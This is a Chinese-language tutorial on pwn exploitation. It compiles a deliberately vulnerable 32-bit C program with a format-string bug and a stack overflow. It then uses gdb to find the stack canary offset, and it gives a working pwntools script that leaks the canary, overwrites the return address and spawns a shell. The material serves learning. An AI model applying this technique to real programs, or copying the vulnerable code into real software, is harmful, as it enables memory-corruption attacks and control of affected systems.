0x01 原理簡介
格式化字符串漏洞是因爲c語言中printf的參數個數不是確定的,參數的長度也不是確定的,當printf把我們的輸入當作第一個參數直接輸出的時候,我們輸入若干格式化字符串,會增加與格式化字符串相對應的參數,會泄露出棧中的內容
Stack canary保護機制在剛進入函數時,在棧上放置一個標誌canary,然後 在函數結束時,判斷該標誌是否被改變,如果被改變,則表示有攻擊行爲發生。canary在棧中的結構如下:
綜上,我們可以通過格式化輸出來泄露canary的地址,然後再構造payload時,用獲取到的canary地址覆蓋到原來canary的地址上。
0x02 C語言代碼及編譯
我們進行編譯的C語言代碼是:
#include<stdio.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[16];
read(0, str, 64);
printf(str);
read(0, str, 64);
}
int main()
{
func();
return 0;
}
接下來進行編譯:
gcc -no-pie -fstack-protector -m32 -o 5.exe 5.c
-fstack-protector:啓用canary棧保護
編譯完成之後,可以checksec看一下保護機制再次確認一下:
0x03 尋找canary地址並構造payload
用 b func 在func函數處下一個斷點
start之後一直n,單步執行,直到出現canary
接下來通過如下代碼找到canary的地址爲0x804bf12
x/x 0x80490d0
再次查看canary的值和地址,我們發現cannary的值和地址均變化了,的確是這樣,canary的值和地址是會變化的,所以不能用到上面獲取到的canary的值和地址。我們就可以用格式化輸出的方法將canary的值輸出。
接下來查找它相對於棧頂偏移是多少,stack 20,查看棧前20個地址
2c也就是十進制的44( 可以通過 p/d 0x2c 去查看),也就是與棧頂相差11個地址,確定canary相對第一次輸入的堆棧偏移11
繼續n,到了輸入的地方,輸入%11$8x,這裏就是我們說的格式化輸出,那麼%11$8x有什麼含義呢?
%11這裏就是取與棧頂相差11個位置的地址,也就是我們上面找到的canary的值,$08x就是取這個地址的前8位(注意,由於是小端序,這是從右往左開始的數的)。
可以看到canary相對於第二次輸入的偏差是4個地址,下圖框起來的都需要我們去填充。
要跳到exploit函數去執行,我們還要知道exploit函數的地址,用 p exploit
綜上,我們就可以構造payload爲:payload=coffset*‘a’+canary+roffset*‘a’+raddr
0x04 利用python進行交互
python代碼爲:
from pwn import *
p=process("./5.exe")
p.sendline("%11$08x")
canary=p.recv()[:8]
print(canary)
canary=canary.decode("hex")[::-1]
coffset=4*4
roffset=3*4
raddr=p32(0x8049192)
payload=coffset*'a'+canary+roffset*'a'+raddr
p.sendline(payload)
p.interactive()
get shell !
0x05 參考文章
https://www.jianshu.com/p/3d390a321cb8
https://blog.csdn.net/weixin_30912051/article/details/95872186